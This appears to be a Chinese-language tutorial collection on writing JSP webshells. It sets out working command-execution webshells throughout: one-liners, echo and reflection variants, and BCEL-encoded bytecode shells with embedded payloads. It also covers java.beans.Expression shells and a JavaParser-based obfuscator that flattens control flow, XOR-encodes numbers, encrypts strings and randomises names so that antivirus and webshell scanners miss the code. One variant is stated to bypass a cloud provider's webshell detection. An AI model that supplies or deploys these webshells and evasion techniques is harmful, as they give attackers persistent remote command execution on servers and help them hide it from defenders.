springboot时代
jsp网站在减少,webshell确实在流逝,慢慢的过时
基本的反射
防止中文输出乱码

一句话木马
<%@ page language="java" pageEncoding="UTF-8" %><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
拆开
<%@ page language="java" pageEncoding="UTF-8" %><%String cmd=request.getParameter("cmd")Runtime.getRuntime().exec(cmd);%>
回显
<%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.io.BufferedReader" %><%@ page language="java" pageEncoding="UTF-8" %><%String cmd=request.getParameter("cmd");Process exec = Runtime.getRuntime().exec(cmd);InputStream inputStream = exec.getInputStream();InputStreamReader inputStreamReader = new InputStreamReader(inputStream);BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String s =null;response.getWriter().println("<pre>");while ((s=bufferedReader.readLine())!=null){response.getWriter().println(s);}response.getWriter().println("<pre>");%>
反射
<%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.lang.reflect.Method" %><%@ page language="java" pageEncoding="UTF-8" %><%String cmd=request.getParameter("cmd");Class<?> aClass = Class.forName("java.lang.Runtime");Method getRuntime = aClass.getMethod("getRuntime");Method exec1 = aClass.getMethod("exec", String.class);Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);Process exec=(Process)invoke;// Process exec = Runtime.getRuntime().exec(cmd);InputStream inputStream = exec.getInputStream();InputStreamReader inputStreamReader = new InputStreamReader(inputStream);BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String s =null;response.getWriter().println("<pre>");while ((s=bufferedReader.readLine())!=null){response.getWriter().println(s);}response.getWriter().println("<pre>");%>
<%@ page import="java.io.InputStream" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.io.BufferedReader" %><%@ page import="java.lang.reflect.Method" %><%@ page import="java.lang.reflect.Field" %><%@ page language="java" pageEncoding="UTF-8" %><%String cmd=request.getParameter("cmd");Class<?> aClass = Class.forName("java.lang.Runtime");Field currentRuntimes = aClass.getDeclaredField("currentRuntime");currentRuntimes.setAccessible(true);Runtime orr =(Runtime) currentRuntimes.get(null);Process exec = orr.exec(cmd);//// Method getRuntime = aClass.getMethod("getRuntime");// Method exec1 = aClass.getMethod("exec", String.class);// Object invoke = exec1.invoke(getRuntime.invoke(null), cmd);// Process exec=(Process)invoke;// Process exec = Runtime.getRuntime().exec(cmd);InputStream inputStream = exec.getInputStream();InputStreamReader inputStreamReader = new InputStreamReader(inputStream);BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String s =null;response.getWriter().println("<pre>");while ((s=bufferedReader.readLine())!=null){response.getWriter().println(s);}response.getWriter().println("<pre>");%>
jspHorse

红字是缺少jar包依赖
控制流平坦化
在反射调用的基础上结合控制流平坦化的思想后,会达到怎样的效果呢
(对于控制流平坦化的概念大致来说就是将代码转为switch块和分发器)
以下是上文反射代码修改后的结果,可以手动也可以写脚本来生成
// 这里给出的是规定顺序的分发器String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";String[] b = dispenserArr.split("\\|");int index = 0;// 声明变量String passwd = null;String cmd = null;Class rt = null;java.lang.reflect.Method gr = null;java.lang.reflect.Method ex = null;Process process = null;java.io.InputStream in = null;java.io.InputStreamReader resulutReader = null;java.io.BufferedReader stdInput = null;while (true) {int op = Integer.parseInt(b[index++]);switch (op) {case 0:passwd = request.getParameter("pwd");break;case 1:cmd = request.getParameter("cmd");break;case 2:if (!passwd.equals(PASSWORD)) {return;}break;case 3:rt = Class.forName("java.lang.Runtime");break;case 4:gr = rt.getMethod("getRuntime");break;case 5:ex = rt.getMethod("exec", String.class);break;case 6:process = (Process) ex.invoke(gr.invoke(null), cmd);break;case 7:in = process.getInputStream();break;case 8:out.print("<pre>");break;case 9:resulutReader = new java.io.InputStreamReader(in);break;case 10:stdInput = new java.io.BufferedReader(resulutReader);case 11:String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}break;case 12:out.print("</pre>");break;}}
注意到在开头定义了0|1|2|3|4|5|6|7|8|9|10|11|12这样的字符串,其中数字的顺序对应了switch块中的执行顺序,当前是从第0条到第12条执行
在进入switch之前,需要实现声明变量,否则在Java的语法下,单一case语句的变量无法被其他case语句获取
当执行完命令后,变量index会超过最大索引,导致报错停止脚本,所以并不会出现占用服务端资源的情况
然而在这种情况下,分发器中的数字顺序是一定的,case块的顺序也是一定的,所以需要打乱这些变量实现混淆和免杀
使用了Java的AST库JavaParser解析代码并实现这样的功能
if (target instanceof StringLiteralExpr) {// StringLiteralExpr对象就是简单的字符串String value = ((StringLiteralExpr) target).getValue();// 如果包含了这个符号认为是分发器if (value.contains("|")) {String[] a = value.split("\\|");int length = a.length;// 一个简单的数组打乱算法for (int i = length; i > 0; i--) {int randInd = rand.nextInt(i);String temp = a[randInd];a[randInd] = a[i - 1];a[i - 1] = temp;}// 打乱后的数字再用|拼起来StringBuilder sb = new StringBuilder();for (String s : a) {sb.append(s).append("|");}String finalStr = sb.toString();finalStr = finalStr.substring(0, finalStr.length() - 1);// 打乱后的分发器设置回去((StringLiteralExpr) target).setValue(finalStr);result = finalStr;}}
打乱switch-case块的代码
String[] a = target.split("\\|");// 得到Switch语句为了后文的替换SwitchStmt stmt = method.findFirst(SwitchStmt.class).isPresent() ?method.findFirst(SwitchStmt.class).get() : null;if (stmt == null) {return;}// 得到所有的Case块List<SwitchEntry> entryList = method.findAll(SwitchEntry.class);for (int i = 0; i < entryList.size(); i++) {// Case块的Label是数字if (entryList.get(i).getLabels().get(0) instanceof IntegerLiteralExpr) {// 拿到具体的数字对象IntegerLiteralExprIntegerLiteralExpr expr = (IntegerLiteralExpr) entryList.get(i).getLabels().get(0);// 设置为分发器对应的顺序数字expr.setValue(a[i]);}}// 打乱Case块集合NodeList<SwitchEntry> switchEntries = new NodeList<>();Collections.shuffle(entryList);switchEntries.addAll(entryList);// 塞回原来的Switch中stmt.setEntries(switchEntries);
经过打乱后的效果还是比较满意的
String dispenserArr = "1|2|9|4|11|10|3|8|7|12|5|0|6";String[] b = dispenserArr.split("\\|");...while (true) {int op = Integer.parseInt(b[index++]);switch(op) {case 11:gr = rt.getMethod("getRuntime");break;case 0:String s = null;while ((s = stdInput.readLine()) != null) {out.println(s);}break;case 5:stdInput = new java.io.BufferedReader(resulutReader);case 12:resulutReader = new java.io.InputStreamReader(in);break;case 4:rt = Class.forName("java.lang.Runtime");break;...}}
异或加密数字
异或加密很简单:a^b=c那么a^c=b
如果a变量是加密的目标,我们就可以随机一个b,计算得到的c和b异或回到原来的a
对于其中的数字,可以采用异或加密,并可以使用多重
发现其中的数字变量其实并不够多,那么如何造出来更多的数字变量呢?
把字符串变量都提到全局数组,然后用数组访问的方式使用字符串
String[] globalArr = new String[]{"0|1|2|3|4|5|6|7|8|9|10|11|12|13", "pwd", "cmd", "java.lang.Runtime","getRuntime", "exec", "<pre>", "</pre>"};String temp = globalArr[0];String[] b = temp.split("\\|");...while (true) {int op = Integer.parseInt(b[index++]);switch (op) {case 0:passwd = request.getParameter(globalArr[1]);break;case 1:cmd = request.getParameter(globalArr[2]);break;...}}
这时候的globalArr[1]调用方式就可以用异或加密了
Random random = new Random();random.setSeed(System.currentTimeMillis());// 遍历所有的简单数字对象List<IntegerLiteralExpr> integers = method.findAll(IntegerLiteralExpr.class);for (IntegerLiteralExpr i : integers) {// 原来的数字aint value = Integer.parseInt(i.getValue());// 随机的数字bint key = random.nextInt(1000000) + 1000000;// c=a^bint cipherNum = value ^ key;// 用一个括号包裹a^b防止异常EnclosedExpr enclosedExpr = new EnclosedExpr();BinaryExpr binaryExpr = new BinaryExpr();// 构造一个c^bbinaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));binaryExpr.setOperator(BinaryExpr.Operator.XOR);// 塞回去enclosedExpr.setInner(binaryExpr);i.replace(enclosedExpr);}
双重异或加密后的效果
String[] globalArr = new String[] { "1|11|13|9|5|8|12|3|4|2|10|6|7|0", "pwd", "cmd", "java.lang.Runtime", "getRuntime", "exec", "<pre>", "</pre>" };String temp = globalArr[((1913238 ^ 1011481) ^ (432471 ^ 1361880))];...int index = ((4813 ^ 1614917) ^ (381688 ^ 1926256));...while (true) {int op = Integer.parseInt(b[index++]);switch(op) {case ((742064 ^ 1861497) ^ (1601269 ^ 1006398)):out.print(globalArr[((367062 ^ 1943510) ^ (1568013 ^ 1037067))]);break;case ((108474 ^ 1265634) ^ (575043 ^ 1715728)):cmd = request.getParameter(globalArr[((735637 ^ 1455096) ^ (115550 ^ 1886513))]);break;case ((31179 ^ 1437731) ^ (335232 ^ 1086562)):resulutReader = new java.io.InputStreamReader(in);break;...}}
加密字符串常量
还剩一部,其中提取的globalArr中的字符串是明文的
加密的算法必须是可逆的,因为在执行的时候需要取出来还原
笔者选择了比较简单的恺撒加密,没有使用复杂的AES等加密
由于恺撒加密无法对特殊字符加密,所以最终选择了Base64加恺撒加密的做法
给出网上找到的算法,在这个基础上做了修改
// 加密算法public static String encryption(String str, int offset) {char c;StringBuilder str1 = new StringBuilder();for (int i = 0; i < str.length(); i++) {c = str.charAt(i);if (c >= 'a' && c <= 'z') {c = (char) (((c - 'a') + offset) % 26 + 'a');} else if (c >= 'A' && c <= 'Z') {c = (char) (((c - 'A') + offset) % 26 + 'A');} else if (c >= '0' && c <= '9') {c = (char) (((c - '0') + offset) % 10 + '0');} else {str1 = new StringBuilder(str);break;}str1.append(c);}sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();return encoder.encode(str1.toString().getBytes(StandardCharsets.UTF_8));}// 需要嵌入JSP的解密算法public static String dec(String str, int offset) {try {// 先Base64解码byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));str = new String(code);char c;// 然后尝试恺撒密码解密StringBuilder str1 = new StringBuilder();for (int i = 0; i < str.length(); i++) {c = str.charAt(i);if (c >= 'a' && c <= 'z') {c = (char) (((c - 'a') - offset + 26) % 26 + 'a');} else if (c >= 'A' && c <= 'Z') {c = (char) (((c - 'A') - offset + 26) % 26 + 'A');} else if (c >= '0' && c <= '9') {c = (char) (((c - '0') - offset + 10) % 10 + '0');} else {str1 = new StringBuilder(str);break;}str1.append(c);}String result = str1.toString();// 处理特殊情况result = result.replace("\\\"","\"");result = result.replace("\\n","\n");return result;} catch (Exception ignored) {return "";}}
注意到恺撒密码需要一个偏移量,所以需要保存下这个偏移写入JSP
Random random = new Random();random.setSeed(System.currentTimeMillis());// 随机偏移int offset = random.nextInt(9) + 1;// 得到字符串List<StringLiteralExpr> stringList = method.findAll(StringLiteralExpr.class);for (StringLiteralExpr s : stringList) {if (s.getParentNode().isPresent()) {// 如果是数组中的字符串if (s.getParentNode().get() instanceof ArrayInitializerExpr) {// 进行加密String encode = EncodeUtil.encryption(s.getValue(), offset);// 可能会有意外的换行encode = encode.replace(System.getProperty("line.separator"), "");// 设置回去s.setValue(encode);}}}// 记录偏移量return offset;
重点来了,在被加密的字符串调用的时候需要添加上解密函数
效果是:globalArr[1] -> dec(global[1])
public static void changeRef(MethodDeclaration method, int offset) {// 所有的数组访问对象List<ArrayAccessExpr> arrayExpr = method.findAll(ArrayAccessExpr.class);for (ArrayAccessExpr expr : arrayExpr) {// 如果访问的是globalArrif (expr.getName().asNameExpr().getNameAsString().equals("globalArr")) {// 造一个方法调用对象,调用的是解密dec方法MethodCallExpr methodCallExpr = new MethodCallExpr();methodCallExpr.setName("dec");methodCallExpr.setScope(null);// dec方法参数需要是NodeList对象NodeList<Expression> nodeList = new NodeList<>();ArrayAccessExpr a = new ArrayAccessExpr();a.setName(expr.getName());a.setIndex(expr.getIndex());// 第一个参数为原来的数组调用nodeList.add(a);// 记录的offset需要传入第二个参数IntegerLiteralExpr intValue = new IntegerLiteralExpr();// 塞回去intValue.setValue(String.valueOf(offset));nodeList.add(intValue);methodCallExpr.setArguments(nodeList);expr.replace(methodCallExpr);}}}
处理后的结果,结合异或加密来看效果很不错
String[] globalArr = new String[] { "M3w4fDV8OXwyfDB8NHw2fDEwfDEzfDF8MTF8MTJ8Nw==", "dWJp", "aHJp", "amF2YS5sYW5nLlJ1bnRpbWU=", "bGp5V3pzeW5yag==", "amNqaA==", "PHByZT4=", "PC9wcmU+" };...while (true) {int op = Integer.parseInt(b[index++]);switch(op) {case ((268173 ^ 1238199) ^ (588380 ^ 1968486)):ex = rt.getMethod(dec(globalArr[((895260 ^ 1717841) ^ (247971 ^ 1333227))], ((706827 ^ 1975965) ^ (557346 ^ 1863345))), String.class);break;break;case ((713745 ^ 1371509) ^ (428255 ^ 1606073)):gr = rt.getMethod(dec(globalArr[((254555 ^ 1810726) ^ (282391 ^ 1838190))], ((414648 ^ 1339706) ^ (324750 ^ 1496585))));break;case ((63576 ^ 1062484) ^ (129115 ^ 1128030)):rt = Class.forName(dec(globalArr[((193062 ^ 1348770) ^ (1652640 ^ 1003815))], ((369433 ^ 1334986) ^ (200734 ^ 1240520))));break;...}}
标识符随机命名
还差一步,需要对其中所有的标识符进行随机命名
这一步不难,拿到所有的NameExpr对name属性做修改即可
Map<String,String> vas = new HashMap<>();// 所有的变量声明List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);for(VariableDeclarator va:vaList){// 将变量名都随机修改String newName = RandomUtil.getRandomString(20);// 注意记录变量的映射关系vas.put(va.getNameAsString(), newName);va.setName(newName);}// 需要修改引用到该变量的变量名method.findAll(NameExpr.class).forEach(n->{// 修改引用if(vas.containsKey(n.getNameAsString())){n.setName(vas.get(n.getNameAsString()));}});
BCEL
博客园
Byte Code Engineering Library (BCEL),这是Apache Software Foundation 的Jakarta 项目的一部分。BCEL是 Java classworking 最广泛使用的一种框架,它可以让您深入 JVM 汇编语言进行类操作的细节。BCEL与Javassist 有不同的处理字节码方法,BCEL在实际的JVM 指令层次上进行操作(BCEL拥有丰富的JVM 指令级支持)而Javassist 所强调的源代码级别的工作。
该类存储在com.sun.org.apache.bcel.internal.util包中
BECL ClassLoade也是一种恢复成一个类并在JVM虚拟机中进行加载的字节序列
BCEL也是在JDK库中,在com.sun.org.apache.bcel.internal.util的包中有一个ClassLoader类,它是一个ClassLoader类,和默认的java.lang包下的ClassLoader类不同,loadClass实现不同而已。
BECL类的ClassLoader的loadClass方法特征:如果传入的字节数据以BCEL字符开始,就会进入createClass方法

接着就会通过Utility.decode转换为字节格式,然后通过ClassParser根据Class类的格式来进行解析,生成JavaClass对象

最后通过defineClass来返回一个对应的class对象

这里来模拟下本地通过BCEL的ClassLoader实现命令执行的过程
public class Example {static{try{Runtime.getRuntime().exec("calc");}catch(Exception e){}}}
public class HelloBCEL {public static void main(String[] args) throws Exception{JavaClass cls = Repository.lookupClass(Example.class);String code = Utility.encode(cls.getBytes(),true);System.out.println(code);Class<?> aClass = new ClassLoader().loadClass("$$BCEL$$" + code);aClass.newInstance();}}
当执行完aClass.newInstance();,则会执行calc

这里顺便回顾下知识点:
1、ClassLoader的loadClass来进行实例化Class的时候,不会触发static静态代码块,只是把类加载到了 JVM 虚拟机中
2、class.forName() 默认会对类进行初始化,会执行类中的 static 代码块
b站
在fastjson中也有利用
可以加载一个特殊格式的字符串(本质就是一个字节码)

import com.sun.org.apache.bcel.internal.classfile.Utility;import java.net.URI;import java.nio.file.Files;import java.nio.file.Paths;public class util {public static void main(String[] args) throws Exception{URI uri = util.class.getResource("Evil.class").toURI();byte[] bytes = Files.readAllBytes(Paths.get(uri));String encode = Utility.encode(bytes, true);System.out.println(encode);}}
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Evil {String result;public Evil(String cmd) throws Exception{StringBuilder stringBuilder = new StringBuilder();InputStream exec = Runtime.getRuntime().exec(cmd).getInputStream();InputStreamReader inputStreamReader = new InputStreamReader(exec);BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String line;while ((line=bufferedReader.readLine())!=null){stringBuilder.append(line).append("\n");}this.result=stringBuilder.toString();// System.out.println(new Evil(cmd));}@Overridepublic String toString() {return result;}}


<%@ page import="java.lang.reflect.Constructor" %><%@ page language="java" pageEncoding="UTF-8" %><%String cmd=request.getParameter("cmd");String bcel ="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$gA$Q$3d$D$cb$O$ac$eb$F$U$91$98$9b$b9$u$e2$85$c4$dc$M$g$93h4$9a$m$g$b1L$f1$b8$c0h$d6$c0B$c1b$f9GyM$aa$SH$c5$aa$3c$e6$n$7f$92$7fH$c5$f4$y$m$a1$c4$ca$c3$f6$cc$f4$e9$e99$7d$b6g$7e$fe$f9$f6$j$c0$7d$ecj$f0c$8e$e3$9e$G$X$e64$f2$3c$90$e6$a1$86G$98$e7x$ac$81$p$ce$b1$a0$c1$87Ei$9e$c8$c0$r$_$9e$ca$f1$99$P$Dx$ce$b1$cc$b1$c2$a0$96E$a5$9a$b7$Z$C$89C$e3$c8$88$e5$N$eb$m$96$b2$cb$a6u$b0$40$e8$a2i$99$f6$SC0r$k$9e$dccPV$8a9$c1$d0$9f0$z$91$ac$W2$a2$bckd$f2B$a6$xf$8d$fc$9eQ6$e5$ba$e9T$ecwf$85$b2$sV$8f$cc$3c$a5wg$L9$86$de$8a$93o$b9j$e6s$a2$cc$Q$3ewT$T$a2$j$8a8$WY$a2$d3$I1$8b$b1$N$abT$b5$vJ$Y$F$82$fdf$7b$b9$p$M$t$ddh$b7$d8$GH$3b$fa2$d5$fd$7dQ$W$b9V$f8$c8Y$f8r$H$o$P$cfS$95$c47e$h$d9$f7$9bF$c9$a9$ca$R$f2$F$fd$M$8eU$d2$9edg$d0V$8f$b3$a2d$9bE$ab$c2$b1$c6$e0$b5$8b$8dB$Y$86$o$93$dd$84$d6R$c5j9$x$d6L$v$93O$ca3$x$a3t$M$e1$rC$e8$CA8$d6ul$e0$95$8e$abx$cd$91$d0$b1$89$q$Jxa$c12$df$W$c3p$f7$S$r$ba$ad$e3$Nb$3av$90b$60$9a$8eY$b9$K$60$90$ca$97$b4$Y$G$dad$b62$87$okw$b8Zu$Ov$e1$d0$f2$3a$81g$SQ$hDd$x$f9$db$d8N$d5$b2$cd$C$v$a1$j$I$fbl$R$ec$90$ae$e9$s$ed$s$ba$f5$e6$3f$ae$edr1$x$w$95$85$8e$p$9aNj$A$3a$a2$83c$a8u$cc$b9$ee$g$89t$F$q$f9$c16$d4l$X$e9$f5$S$9eK8M$a3$g$a5$92$b0$a8$dbg$fe$c3$b6$b3$e31F$97$d5O$b7$9e$d1G$7f$81$ac$8b$e6C$I$d28L$ab$dfp$d3m$H$b6$a2u$b0$T$b8$d2u$b87$bfB$99$aa$c1S$83$9a$3c$BO$cf$d4$e1$8d$x$t$f0$a5$c3J$jZ$dc$T$s$a8$t$jW$7f$m0$jVk$d0$D$bdd$de$7e8$fd$V$9d$ae$a1$ef$L$fa$3fQJ7Bd$c7$e9$fd$A$j$a1$c0$L$9d$e6$nhD$aa$H$d3$e8$a5$e7$a6$PkD0I$d4F$uj$bdA$Fa$5c$C$9c$d9$uQf$b4o$F$97q$85$u$870O$bdz$8dr$8fQg$5d$t$abP$a6$9b$b8A$9f$87$de$b0Q$dc$a2$j$wn$d3$ee1$b8N$JT9$c69$s8$o$i$93$iQ$8e$vYv$98$7c$84$82$S$90$a8$f4Q$a3$92$95$9a$c8Q$ea$e5$89$7eF$ffGG2Y$89$ea8$83$OS$bd$R$d0d$cap$c7$89$ba$fb$X$f4P$3d$a7c$F$A$A";Class<?> aClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");ClassLoader loader =(ClassLoader) aClass.newInstance();Class<?> aClass1 = loader.loadClass(bcel);Constructor<?> constructor = aClass1.getConstructor(String.class);Object o = constructor.newInstance(cmd);response.getWriter.print("<pre>");System.out.println(o.toString());response.getWriter.print("<pre>");%>
先知社区
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %><html><body><h2>BCEL字节码的JSP Webshell</h2><%String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$a6$40$93r$d5$e2$8d$dap$ebh$eb$a5$96$8a6$I$V$N$X$81$82$Uo$93$c9$n$M$9d$cc$c4$c9$a4$82w$fd$N$fe$H_$adKC$97$b8$7c$f4$c1G$7f$86$bf$c1e$fd$ce$q$40b$c2$f2a$ce$99$b3$f7$9e$bd$bf$fd$ed$bd$cf$fc$f1$cf$_$bf$Bx$B$df$ea$Y$c6$8c$86$d7t$b4$c9$fdu$N$b7t$a41$x$977t$cca$5eG$3bn$ebP$f1$a6$5c$W$a4$e1$5bq$bc$z$f7L$tz$b1$a8aI$c72V$e2xG$c7$w$d6t$ac$e3$8e$5c6tl$e2$ddNl$e1n$i$db$3a$de$c3$fb$g$3eP$Q$LDIA$o$b3g$dd$b7L$d7$f2$f2$e6Z$Y8$5e$7eZA$c7M$c7s$c2$Z$F$7d$a9f$f5$d8$86$Cu$d6$cf$J$F$3d$Z$c7$TK$e5BV$E$ebV$d6$V$d2$9do$5b$ee$86$V8$f2$5c$T$aa$e1$ae$c3P$X2$eb$bb$81$Q$b9$e0$9aU$d8$U$d9$b5$5d$e1$ba$M$W$b3$L9$F$e7J$91$f7t$d9qs$oP0$d4$U$b8$a6$e2$X$dd$d9$f2$ce$8e$IDnUX$91$f1$60$d5$d8$f1$cdt$83$86$b6$aaK$88t$bf$WZ$f6$bdE$ab$YA$oW$g$3e$q$df$a4Z$81$3e$b7o$8bb$e8$f8$5eI$c3G$K$e2$a1_$8dH$c8$a9$b1V$fc$a8$F$cb$f1$U$f4$a7$b6$cf$a0$c7$K$f2L8$d9B$ad$a0$cb$f1$8a$e5$90Ga$V$c8$f0$J$f4$85S1$ad$da$b3$H$a1$acO$dbv$9a$fe$ec$88n$7d$cd$_$H$b6$98w$q$a9$D$cdd$5e$91$ae$M$5c$84E$f5$Z$f4$Ruk$aeHy$L$qU$9d$86$ac$B$h9$D$C$3b$g$f2$Gv$e1$c8$40$7br$b9g$c0$c5U$D$F$90$TE7$f0$bc$3c$3d$86$c7$d9$O$cd$m5$f8$G$8a$f8$98Uk$91$81$edZ$rV$n0PB$a8$a1l$e0$3e$3e1$b0$8f$D$N$9f$g$f8$M$9fk$f8$c2$c0$97$f8$8au$g$jM$cf$ceeFG5$7cm$e0$h$8c$u$e8$3d$cdz9$bb$t$ec$b0At$5c$d5$e4I$a2$cb$t$a5g$l$a6d$e9$ce$9f$9a$af$96$bd$d0$vH$de$f3$o$3c9$f45$b4DM$y$7bB$ec$L$5b$c1$e5V$TS$tZ$J$7c$5b$94J$d3$N$91jBv6$p$z$d4$b7$c7$c0q$b4$a6$G$ZL$b5T$c8$i$92$a7$aa$da$iHi$9c$fa$5c$s$9a$86$O$abX$U$k$a7n$ea$7f$d0$few$f2zNU$b3$b2RU$c4$d1k$c6$afuQ$D$3fu$w$7e$de$d7RA$c0$92$60Q$8a$ba$fbV$e98$f7$b1$b3$c15$b1$91l$nV$d0I$a1$e3V$_$n$96w$81U$92$qp$baR$dbiy$bcj$fb$F$b3T$f6L$3f$c8$9bV$d1$b2w$85$99$b5$85k$3a$5e$u$C$cfr$cd$a8$nw8q$e6$9d$d0q$9d$f0$80$ec$J$af$3a$8f$D$f4r$b7$e5$FQ$dft$H$a5P$QK$cc$_$87$f5$e3$beB$d3$W$f8$eb$c4$K$b4$a2$3c$b9$k$9e$e2$N$3f$cc_$85$c2$87$83$c55$c6$f7$8b$Y$e1$f5$ff$EO$7f$a2$83$ff$H$e0$f6$f8$n$94$p$b4m$j$o$b6x$Eu$eb$I$ed$5b$P$d11Q$81VA$fc$Q$9d$87$d0$97$a6$w$e8$da$ba$a1$fe$8e$c4$e4$90Z$81$918$c7e$f3$fbG$7f$8dOV$d0$fd3z$kD$B$9e$e4$3a$C$8dk7$7f9$3d0$I$e2$S$S0$91$c4$M$fa0$8f$7e$C$93$ff$af$u4$9e$c63$40$f46J$88$K$ed$a7i$ff$y$n$5e$a2$ee2R$f49I$f8c$d4$aa$Y$8fRi$7bD$a5$aaaB$c3$a4$86$v$NW$80$bf1$c8$T$c3$80f$K$9e$e3$c3$h$85$ab$cc$d4$e4$$Yh$l$ff$J$3d$3f$f0$a5$z$c2$d9$R$J$87$p$3cF$d5$a0$86$a7$T$d7$88$b0J$d3wD$a0r$bf$9e$e8$ad$e0$7c$oQA2Cj$$$fc$g_$9c$60$ea$7d$9b$93$eaC$f4$_$fd$88$81$g$87$89A2C$ba$M$f2R$c1$d0$83$93x$c3$8c$u$d9$e9$a2$df$E$r$83$8c$3c$c2$88$_3$a6$c40$5e$8d$83$X$f1$S$f7$$LQs$9d$b8$S$e4$e3$V$dc$a0$97$R$fa$98$s$T$b1$86DoF$R$5e$fd$X$cb$B$rU$g$I$A$A";response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString()).getBytes());%></body></html>
上述使用了com.sun.org.apache.bcel.internal.util.ClassLoader直接加载BCEL格式的字节码,实现了bypass某云的Webshell的检测。
而BCEL字节码的生成,以及执行指令的恶意类如下:
import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;/*** @author threedr3am*/public class Threedr3am {String res;public Threedr3am(String cmd) throws IOException {StringBuilder stringBuilder = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder.append(line).append("\n");}res = stringBuilder.toString();}@Overridepublic String toString() {return res;}public static void main(String[] args) throws IOException {InputStream inputStream = Threedr3am_15.class.getClassLoader().getResourceAsStream("Threedr3am.class");byte[] bytes = new byte[inputStream.available()];inputStream.read(bytes);String code = Utility.encode(bytes, true);System.out.println("$$BCEL$$" + code);}}
因为BCEL生成的时候是不带前缀BCEL的,所以需要我们自己补充上。
baensExpression
java.beans.Expression同样可以实现命令执行,第一个参数是目标对象,第二个参数是所要调用的目标对象的方法,第三个参数是参数数组。这个类的优势是可以把要执行的方法放到一个字符串的位置,不过限制就是第一个参数必须是Object。不过我们可以配合反射将Runtime类的关键字给隐藏掉。
<%@ page import="java.io.BufferedReader" %><%@ page import="java.io.InputStreamReader" %><%@ page import="java.beans.Expression" %><%@ page import="java.io.InputStream" %><%@ page language="java" pageEncoding="UTF-8" %><%String cmd= request.getParameter("cmd");Expression exec = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});Process process=(Process) exec.getValue();InputStream inputStream = process.getInputStream();StringBuilder stringBuilder = new StringBuilder();InputStreamReader inputStreamReader = new InputStreamReader(inputStream);BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String s =null;response.getWriter().println("<pre>");while ((s=bufferedReader.readLine())!=null){stringBuilder.append(s).append("\n");}response.getWriter().println(stringBuilder.toString());response.getWriter().println("<pre>");%>
<%@ page language="java" pageEncoding="UTF-8" %><%String cmd = request.getParameter("cmd");// 这里的exec可以拆为四个字符的ASCII做进一步免杀java.beans.Expression shell = new java.beans.Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});java.io.InputStream in = ((Process)shell.getValue()).getInputStream();// 普通回显StringBuilder outStr = new StringBuilder();response.getWriter().print("<pre>");java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = null;while ((s = stdInput.readLine()) != null) {outStr.append(s + "\n");}response.getWriter().print(outStr.toString());response.getWriter().print("</pre>");%>
